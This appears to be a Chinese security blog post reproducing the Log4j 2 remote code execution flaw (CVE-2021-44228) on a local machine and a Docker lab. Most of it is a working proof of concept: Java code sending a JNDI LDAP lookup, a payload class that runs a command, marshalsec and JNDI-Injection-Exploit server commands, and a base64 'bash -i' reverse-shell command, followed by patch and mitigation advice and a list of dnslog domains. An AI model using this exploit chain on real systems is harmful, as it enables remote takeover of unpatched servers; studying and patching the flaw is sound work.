CVE-2021-44228 Apache Log4j 2 远程代码执行漏洞(反弹shell)

本地复现

 

https://github.com/tangxiaofeng7/apache-log4j-poc

log4j.java内容

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");

    }
}

Log4jRCE.java内容

public class Log4jRCE {
    static {
        try {
            String [] cmd={"calc"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        }catch (Exception e){
            e.printStackTrace();
        }
    }

}

注意,这里Log4jRCE.java不要放在项目里,我这里将Log4jRCE.class放到了D盘根目录,不然log4j.java运行时会读取到本地的Log4jRCE,就不是http远程下载了

在D盘根目录

python -m http.server 8888

然后执行

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"

 

参考:https://github.com/udoless/apache-log4j-rce-poc

https://github.com/tangxiaofeng7/apache-log4j-poc

远程RCE 

docker拉个镜像

docker pull vulfocus/log4j2-rce-2021-12-09:latest
docker run -d -p 8080:8080 vulfocus/log4j2-rce-2021-12-09:latest

先用网上公开的exp探测一下(此处为了引起不要的麻烦打码,你懂的)

 

 反弹shell

需要用到JNDI-Injection-Exploit启动⼀个rmi和ldap服务器,15c1貌似给ldap禁了但是rmi可以用,所以有了15c2

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,xxxxxxxxxxxxxxxxxxuNzYuNDkvODQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 127.0.0.1

burp发包即可

漏洞影响版本

2.0 <= Apache Log4j 2 <= log4j-2.15.0-rc1 

修复建议:

官方处置:

建议您在升级前做好数据备份工作,避免出现意外。

1、厂商已发布新版本修复漏洞,请及时自查Log4j 2版本是否在影响范围内,及时将Log4j 2更新到安全版本 log4j-2.15.0-rc2,下载链接:

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

2、升级已知受影响的应用及组件,如:

spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink。

临时解决方案:

1、设置jvm参数:

“-Dlog4j2.formatMsgNoLookups=true”;

2、添加log4j2.component.properties配置文件,设置:

“log4j2.formatMsgNoLookups=True”;

3、系统环境变量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”;

4、若相关用户暂时无法进行升级操作,也可通过禁止Log4j中SocketServer类所启用的socket端对公网开放来进行防护;

5、禁止安装log4j的服务器访问外网,并在边界对dnslog相关域名访问进行检测。部分公共dnslog平台如下:

ceye.io

dnslog.link

dnslog.cn

dnslog.io

tu4.org

awvsscan119.autoverify.cn

burpcollaborator.net

s0x.cn

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>